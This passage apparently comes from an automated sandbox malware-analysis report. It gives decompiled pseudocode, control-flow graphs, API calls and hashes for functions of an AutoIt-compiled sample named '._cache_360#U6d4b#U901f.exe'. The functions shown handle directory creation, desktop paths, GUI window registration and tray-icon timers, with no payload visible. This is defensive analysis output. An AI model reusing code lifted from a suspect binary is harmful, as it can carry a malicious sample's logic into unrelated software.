                                                                                                                                                                            0x0042938f
                                                                                                                                                                            0x004293a0
                                                                                                                                                                            0x004293af
                                                                                                                                                                            0x004293b4
                                                                                                                                                                            0x004293b9
                                                                                                                                                                            0x004293be
                                                                                                                                                                            0x004293c0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f4f8
                                                                                                                                                                            0x0040f4f8
                                                                                                                                                                            0x0040f4f9
                                                                                                                                                                            0x0040f4f9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f4e0
                                                                                                                                                                            0x0040f536
                                                                                                                                                                            0x0040f540
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f540
                                                                                                                                                                            0x0040f531
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __fread_nolock_fseek_strcat
                                                                                                                                                                            • String ID: AU3!$EA06
                                                                                                                                                                            • API String ID: 3818483258-2658333250
                                                                                                                                                                            • Opcode ID: 14ffa74d6b02b3f38e14930b4c42b0116caf55d52fc31b55e15928253560e224
                                                                                                                                                                            • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                                                                                                                            • Opcode Fuzzy Hash: 14ffa74d6b02b3f38e14930b4c42b0116caf55d52fc31b55e15928253560e224
                                                                                                                                                                            • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004366BE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 717 4366be-4366e7 call 436328 call 4112d5 722 4366fa-436709 GetFileAttributesW 717->722 723 4366e9-4366f3 717->723 725 4367a3-4367a5 722->725 726 43670f-43671e GetLastError 722->726 723->722 724 4366f5-4366f7 723->724 724->722 727 4367a7-4367b0 725->727 728 43672d-436736 725->728 729 436720-43672b CreateDirectoryW 726->729 730 436737-43673a 726->730 729->728 731 43673c-436756 call 40fff0 call 414277 729->731 730->727 730->731 736 436758-43676c call 4112ef 731->736 737 43676d-436786 call 4366be call 4112ef 731->737 744 436796-4367a2 737->744 745 436788-436793 CreateDirectoryW 737->745 745->744
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E004366BE(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				short _v524;
				void* __ebp;
				signed int _t19;
				signed char _t20;
				long _t23;
				signed int _t25;
				signed int _t29;
				int _t33;
				short* _t34;
				void* _t35;
				signed int _t36;
				void* _t44;
				void* _t48;
				short* _t59;

				_t48 = __esi;
				_t44 = __edi;
				_t35 = __ebx;
				E00436328(__eflags,  &_v524, _a4, 0x104);
				_t19 = E004112D5( &_v524);
				_t59 =  &(( &_v524)[8]);
				if(_t19 != 0) {
					_t34 = _t59 + _t19 * 2 - 2;
					if( *((short*)(_t59 + _t19 * 2 - 2)) == 0x5c) {
						 *_t34 = 0;
					}
				}
				_t42 =  &_v524;
				_t20 = GetFileAttributesW( &_v524); // executed
				if(_t20 != 0xffffffff) {
					__eflags = _t20 & 0x00000010;
					if((_t20 & 0x00000010) != 0) {
						goto L6;
					} else {
						goto L14;
					}
				} else {
					_t23 = GetLastError();
					if(_t23 != 2) {
						__eflags = _t23 - 3;
						if(__eflags != 0) {
							L14:
							__eflags = 0;
							return 0;
						} else {
							goto L8;
						}
					} else {
						_t33 = CreateDirectoryW( &_v524, 0); // executed
						if(_t33 == 0) {
							L8:
							_push(_t48);
							_push(_t44);
							_t49 = E0040FFF0(_t35,  &_v524, __eflags);
							_t25 = E00414277(_t24, 0x5c);
							__eflags = _t25;
							if(__eflags != 0) {
								_push(_t35);
								 *_t25 = 0;
								_t36 = E004366BE(_t35,  &_v524, _t49, __eflags, _t49);
								E004112EF(_t36, _t42,  &_v524, _t49, __eflags, _t49);
								__eflags = _t36;
								if(_t36 != 0) {
									_t29 = CreateDirectoryW( &_v524, 0); // executed
									__eflags = _t29;
									_t15 = _t29 != 0;
									__eflags = _t15;
									_t36 = _t36 & 0xffffff00 | _t15;
								}
								return _t36;
							} else {
								E004112EF(_t35, _t42,  &_v524, _t49, __eflags, _t49);
								__eflags = 0;
								return 0;
							}
						} else {
							L6:
							return 1;
						}
					}
				}
			}

















                                                                                                                                                                            0x004366be
                                                                                                                                                                            0x004366be
                                                                                                                                                                            0x004366be
                                                                                                                                                                            0x004366d3
                                                                                                                                                                            0x004366dd
                                                                                                                                                                            0x004366e2
                                                                                                                                                                            0x004366e7
                                                                                                                                                                            0x004366ef
                                                                                                                                                                            0x004366f3
                                                                                                                                                                            0x004366f7
                                                                                                                                                                            0x004366f7
                                                                                                                                                                            0x004366f3
                                                                                                                                                                            0x004366fb
                                                                                                                                                                            0x00436700
                                                                                                                                                                            0x00436709
                                                                                                                                                                            0x004367a3
                                                                                                                                                                            0x004367a5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043670f
                                                                                                                                                                            0x0043670f
                                                                                                                                                                            0x0043671e
                                                                                                                                                                            0x00436737
                                                                                                                                                                            0x0043673a
                                                                                                                                                                            0x004367a7
                                                                                                                                                                            0x004367a7
                                                                                                                                                                            0x004367b0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00436720
                                                                                                                                                                            0x00436727
                                                                                                                                                                            0x0043672b
                                                                                                                                                                            0x0043673c
                                                                                                                                                                            0x0043673c
                                                                                                                                                                            0x0043673d
                                                                                                                                                                            0x00436747
                                                                                                                                                                            0x0043674c
                                                                                                                                                                            0x00436754
                                                                                                                                                                            0x00436756
                                                                                                                                                                            0x0043676d
                                                                                                                                                                            0x00436771
                                                                                                                                                                            0x0043677a
                                                                                                                                                                            0x0043677c
                                                                                                                                                                            0x00436784
                                                                                                                                                                            0x00436786
                                                                                                                                                                            0x0043678f
                                                                                                                                                                            0x00436791
                                                                                                                                                                            0x00436793
                                                                                                                                                                            0x00436793
                                                                                                                                                                            0x00436793
                                                                                                                                                                            0x00436793
                                                                                                                                                                            0x004367a2
                                                                                                                                                                            0x00436758
                                                                                                                                                                            0x00436759
                                                                                                                                                                            0x00436763
                                                                                                                                                                            0x0043676c
                                                                                                                                                                            0x0043676c
                                                                                                                                                                            0x0043672d
                                                                                                                                                                            0x0043672d
                                                                                                                                                                            0x00436736
                                                                                                                                                                            0x00436736
                                                                                                                                                                            0x0043672b
                                                                                                                                                                            0x0043671e

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                                                                                                                            • _wcslen.LIBCMT ref: 004366DD
                                                                                                                                                                            • GetFileAttributesW.KERNELBASE(?), ref: 00436700
                                                                                                                                                                            • GetLastError.KERNEL32 ref: 0043670F
                                                                                                                                                                            • CreateDirectoryW.KERNELBASE(00000000,00000000), ref: 00436727
                                                                                                                                                                            • _wcsrchr.LIBCMT ref: 0043674C
                                                                                                                                                                              • Part of subcall function 004366BE: CreateDirectoryW.KERNELBASE(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                                                                                                                            • String ID: \
                                                                                                                                                                            • API String ID: 321622961-2967466578
                                                                                                                                                                            • Opcode ID: b375ab54688e2cd2bef0f638a20bb42617f1c5c425027ac41d77d98e24d3949e
                                                                                                                                                                            • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                                                                                                                            • Opcode Fuzzy Hash: b375ab54688e2cd2bef0f638a20bb42617f1c5c425027ac41d77d98e24d3949e
                                                                                                                                                                            • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00410130 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 746 410130-410142 SHGetMalloc 747 410148-410158 SHGetDesktopFolder 746->747 748 42944f-429459 call 411691 746->748 749 4101d1-4101e0 747->749 750 41015a-410188 call 411691 747->750 749->748 756 4101e6-4101ee 749->756 758 4101c5-4101ce 750->758 759 41018a-4101a1 SHGetPathFromIDListW 750->759 758->749 760 4101a3-4101b1 call 411691 759->760 761 4101b4-4101c0 759->761 760->761 761->758
                                                                                                                                                                            C-Code - Quality: 62%
                                                                                                                                                                            			E00410130(void* __ebx, void* __edi, void* __esi) {
				char _v556;
				char _v564;
				char _v1048;
				char _v1052;
				char _v1056;
				intOrPtr* _v1060;
				intOrPtr* _v1064;
				intOrPtr _v1084;
				intOrPtr* _v1088;
				intOrPtr _v1092;
				intOrPtr* _v1100;
				void* _t19;
				void* _t22;
				intOrPtr* _t23;
				intOrPtr* _t27;
				void* _t29;
				intOrPtr* _t30;
				void* _t32;
				intOrPtr* _t33;
				void* _t38;
				void* _t53;
				void* _t55;
				void* _t57;

				_t53 = __edi;
				_t38 = __ebx;
				_t57 =  &_v1056;
				_t19 =  *0x482484(_t57); // executed
				if(_t19 != 0) {
					L10:
					E00411691(_t38, _t53);
					return 0;
				}
				_t55 = 0; // executed
				_t22 =  *0x482480( &_v1056, __esi); // executed
				if(_t22 == 0) {
					E00411691( &_v1048, __edi);
					_t27 = _v1060;
					_t57 = _t57 + 8;
					_t29 =  *((intOrPtr*)( *((intOrPtr*)( *_t27 + 0xc))))(_t27, 0, 0,  &_v1048,  &_v1052,  &_v1056, 0); // executed
					if(_t29 == 0) {
						_t32 =  *0x48247c(_v1084,  &_v556); // executed
						_t55 = _t32;
						if(_t55 != 0) {
							E00411691(__ebx,  &_v564);
							_t57 = _t57 + 8;
						}
						_t33 = _v1100;
						 *((intOrPtr*)( *((intOrPtr*)( *_t33 + 0x14))))(_t33, _v1092);
					}
					_t30 = _v1088;
					 *((intOrPtr*)( *((intOrPtr*)( *_t30 + 8))))(_t30);
				}
				_t23 = _v1064;
				 *((intOrPtr*)( *((intOrPtr*)( *_t23 + 8))))(_t23);
				if(_t55 == 0) {
					goto L10;
				} else {
					return 1;
				}
			}


























                                                                                                                                                                            0x00410130
                                                                                                                                                                            0x00410130
                                                                                                                                                                            0x00410130
                                                                                                                                                                            0x0041013a
                                                                                                                                                                            0x00410142
                                                                                                                                                                            0x0042944f
                                                                                                                                                                            0x00429451
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00429459
                                                                                                                                                                            0x0041014e
                                                                                                                                                                            0x00410150
                                                                                                                                                                            0x00410158
                                                                                                                                                                            0x00410160
                                                                                                                                                                            0x00410165
                                                                                                                                                                            0x0041016b
                                                                                                                                                                            0x00410184
                                                                                                                                                                            0x00410188
                                                                                                                                                                            0x00410197
                                                                                                                                                                            0x0041019d
                                                                                                                                                                            0x004101a1
                                                                                                                                                                            0x004101ac
                                                                                                                                                                            0x004101b1
                                                                                                                                                                            0x004101b1
                                                                                                                                                                            0x004101b4
                                                                                                                                                                            0x004101c3
                                                                                                                                                                            0x004101c3
                                                                                                                                                                            0x004101c5
                                                                                                                                                                            0x004101cf
                                                                                                                                                                            0x004101cf
                                                                                                                                                                            0x004101d1
                                                                                                                                                                            0x004101db
                                                                                                                                                                            0x004101e0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004101e6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004101e6

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                                                                                                                            • String ID: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                            • API String ID: 192938534-1589644342
                                                                                                                                                                            • Opcode ID: 5ece4c7ff29e91b032290827dfb68f29224480ab515cd257a4404770751faa23
                                                                                                                                                                            • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                                                                                                                            • Opcode Fuzzy Hash: 5ece4c7ff29e91b032290827dfb68f29224480ab515cd257a4404770751faa23
                                                                                                                                                                            • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004102F0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 53registrywindowclipboardCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            C-Code - Quality: 46%
                                                                                                                                                                            			E004102F0(intOrPtr _a4, intOrPtr _a8) {
				struct _WNDCLASSEXW _v52;
				intOrPtr _v56;
				char _v60;
				struct HINSTANCE__* _t19;
				intOrPtr _t26;
				struct HICON__* _t27;
				void* _t28;
				struct HINSTANCE__* _t30;
				intOrPtr _t32;

				_t19 =  *0x4972c8;
				 *0x4a842c = _t19;
				_v52.cbSize = 0x30;
				_v52.style = 0x2b;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0x1e;
				_v52.hInstance = _t19;
				_v52.hCursor = 0;
				_v52.hbrBackground = GetSysColorBrush(0xf);
				_v52.lpszMenuName = 0;
				_v52.hIconSm = _a8;
				_v52.hIcon = _a4;
				_v52.lpszClassName = L"AutoIt v3 GUI";
				_v52.lpfnWndProc = 0x47e81e;
				 *0x497288 = RegisterClassExW( &_v52);
				 *0x4a8430 = RegisterClipboardFormatW(L"TaskbarCreated");
				_v60 = 8;
				_v56 = 0x13b;
				 *0x4820b0( &_v60);
				_t26 =  *0x4820ac(0x10, 0x10, 0x21, 1, 1);
				_t30 =  *0x4a842c; // 0x400000
				 *0x4a8484 = _t26;
				_t27 = LoadIconW(_t30, 0xa9);
				_t32 =  *0x4a8484; // 0x98c540
				_t28 =  *0x4820a8(_t32, 0xffffffff, _t27); // executed
				 *0x4a8488 = 0;
				return _t28;
			}












                                                                                                                                                                            0x004102f3
                                                                                                                                                                            0x004102fd
                                                                                                                                                                            0x00410302
                                                                                                                                                                            0x0041030a
                                                                                                                                                                            0x00410312
                                                                                                                                                                            0x00410316
                                                                                                                                                                            0x0041031e
                                                                                                                                                                            0x00410322
                                                                                                                                                                            0x00410330
                                                                                                                                                                            0x0041033d
                                                                                                                                                                            0x00410341
                                                                                                                                                                            0x00410345
                                                                                                                                                                            0x00410349
                                                                                                                                                                            0x00410351
                                                                                                                                                                            0x00410364
                                                                                                                                                                            0x00410370
                                                                                                                                                                            0x0041037a
                                                                                                                                                                            0x00410382
                                                                                                                                                                            0x0041038a
                                                                                                                                                                            0x0041039a
                                                                                                                                                                            0x004103a0
                                                                                                                                                                            0x004103ac
                                                                                                                                                                            0x004103b1
                                                                                                                                                                            0x004103b7
                                                                                                                                                                            0x004103c1
                                                                                                                                                                            0x004103c7
                                                                                                                                                                            0x004103d1

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                            • RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                            • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 0041036A
                                                                                                                                                                            • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Register$BrushClassClipboardColorFormatIconLoad
                                                                                                                                                                            • String ID: +$0$TaskbarCreated
                                                                                                                                                                            • API String ID: 975902462-888179712
                                                                                                                                                                            • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                            • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                                                                                                                            • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                            • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83windowtimeCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 768 401230-40123b 769 401241-401272 call 4131f0 call 401e70 768->769 770 4012c5-4012cd 768->770 775 401274-401292 769->775 776 4012ae-4012bf KillTimer SetTimer 769->776 777 42aa61-42aa67 775->777 778 401298-40129c 775->778 776->770 781 42aa8b-42aaa7 Shell_NotifyIconW 777->781 782 42aa69-42aa86 Shell_NotifyIconW 777->782 779 4012a2-4012a8 778->779 780 42aaac-42aab3 778->780 779->776 783 42aaf8-42ab15 Shell_NotifyIconW 779->783 784 42aad7-42aaf3 Shell_NotifyIconW 780->784 785 42aab5-42aad2 Shell_NotifyIconW 780->785 781->776 782->776 783->776 784->776 785->776
                                                                                                                                                                            C-Code - Quality: 27%
                                                                                                                                                                            			E00401230(void* __eax, void* __ecx, struct HWND__* __esi, void* __fp0, intOrPtr _a4) {
				intOrPtr _v916;
				intOrPtr _v924;
				int _v928;
				void* _v932;
				char _v936;
				void* __ebx;
				void* __edi;
				int _t34;
				int _t51;
				void* _t59;
				intOrPtr _t61;
				struct HWND__* _t62;

				_t62 = __esi;
				_t34 = __eax - 1;
				_push(_t59);
				if(_t34 != 0) {
					L6:
					return _t34;
				} else {
					_t51 = _t34 + 1;
					_v936 = 0x3a8;
					E004131F0(_t59,  &_v932, _t34, 0x3a4);
					E00401E70(_a4, _t51, __fp0);
					if( *0x497292 != 0) {
						_t61 = _a4;
						_v932 = __esi;
						_v928 = _t51;
						_v924 = 2;
						if( *0x497294 != 0) {
							if( *(_t61 + 0x184) != _t51) {
								 *(_t61 + 0x184) = _t51;
								_v916 =  *((intOrPtr*)(_t61 + 0x198));
								 *0x48248c(_t51,  &_v936);
							} else {
								 *(_t61 + 0x184) = 0;
								_v916 =  *((intOrPtr*)(_t61 + 0x18c));
								 *0x48248c(_t51,  &_v936);
							}
						} else {
							if( *((char*)(_t61 + 9)) != 0) {
								if( *(_t61 + 0x185) == 0) {
									_v916 =  *((intOrPtr*)(_t61 + 0x1a0));
									 *(_t61 + 0x185) = _t51;
									 *0x48248c(_t51,  &_v936);
								} else {
									_v916 =  *((intOrPtr*)(_t61 + 0x18c));
									 *(_t61 + 0x185) = 0;
									 *0x48248c(_t51,  &_v936);
								}
							} else {
								if( *(_t61 + 0x184) == _t51) {
									 *(_t61 + 0x184) = 0;
									_v916 =  *((intOrPtr*)(_t61 + 0x18c));
									 *0x48248c(_t51,  &_v936);
								}
							}
						}
					}
					KillTimer(_t62, _t51);
					_t34 = SetTimer(_t62, _t51, 0x2ee, 0); // executed
					goto L6;
				}
			}















                                                                                                                                                                            0x00401230
                                                                                                                                                                            0x00401236
                                                                                                                                                                            0x0040123a
                                                                                                                                                                            0x0040123b
                                                                                                                                                                            0x004012c5
                                                                                                                                                                            0x004012cd
                                                                                                                                                                            0x00401241
                                                                                                                                                                            0x00401247
                                                                                                                                                                            0x0040124f
                                                                                                                                                                            0x00401257
                                                                                                                                                                            0x00401266
                                                                                                                                                                            0x00401272
                                                                                                                                                                            0x0040127b
                                                                                                                                                                            0x00401282
                                                                                                                                                                            0x00401286
                                                                                                                                                                            0x0040128a
                                                                                                                                                                            0x00401292
                                                                                                                                                                            0x0042aa67
                                                                                                                                                                            0x0042aa97
                                                                                                                                                                            0x0042aa9d
                                                                                                                                                                            0x0042aaa1
                                                                                                                                                                            0x0042aa69
                                                                                                                                                                            0x0042aa75
                                                                                                                                                                            0x0042aa7c
                                                                                                                                                                            0x0042aa80
                                                                                                                                                                            0x0042aa80
                                                                                                                                                                            0x00401298
                                                                                                                                                                            0x0040129c
                                                                                                                                                                            0x0042aab3
                                                                                                                                                                            0x0042aae3
                                                                                                                                                                            0x0042aae7
                                                                                                                                                                            0x0042aaed
                                                                                                                                                                            0x0042aab5
                                                                                                                                                                            0x0042aac1
                                                                                                                                                                            0x0042aac5
                                                                                                                                                                            0x0042aacc
                                                                                                                                                                            0x0042aacc
                                                                                                                                                                            0x004012a2
                                                                                                                                                                            0x004012a8
                                                                                                                                                                            0x0042ab04
                                                                                                                                                                            0x0042ab0b
                                                                                                                                                                            0x0042ab0f
                                                                                                                                                                            0x0042ab0f
                                                                                                                                                                            0x004012a8
                                                                                                                                                                            0x0040129c
                                                                                                                                                                            0x00401292
                                                                                                                                                                            0x004012b0
                                                                                                                                                                            0x004012bf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004012bf

                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 00401257
                                                                                                                                                                              • Part of subcall function 00401E70: _memset.LIBCMT ref: 00401EF2
                                                                                                                                                                              • Part of subcall function 00401E70: _wcsncpy.LIBCMT ref: 00401F31
                                                                                                                                                                              • Part of subcall function 00401E70: _wcscpy.LIBCMT ref: 00401F4D
                                                                                                                                                                              • Part of subcall function 00401E70: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401F5F
                                                                                                                                                                            • KillTimer.USER32(?,?), ref: 004012B0
                                                                                                                                                                            • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                                                                                                                            • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                                                                                                                            • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                                                                                                                            • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1792922140-0
                                                                                                                                                                            • Opcode ID: 99aab9b00b72ad057fb1838a04829e5adb0dd8f624055c44eb3d4c782eade09e
                                                                                                                                                                            • Instruction ID: 067d5d833dd9776af7a5d412fc03fcb55fd665557ee4bb0c43bcbb136bd66aa2
                                                                                                                                                                            • Opcode Fuzzy Hash: 99aab9b00b72ad057fb1838a04829e5adb0dd8f624055c44eb3d4c782eade09e
                                                                                                                                                                            • Instruction Fuzzy Hash: 3E319670609642BFE319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
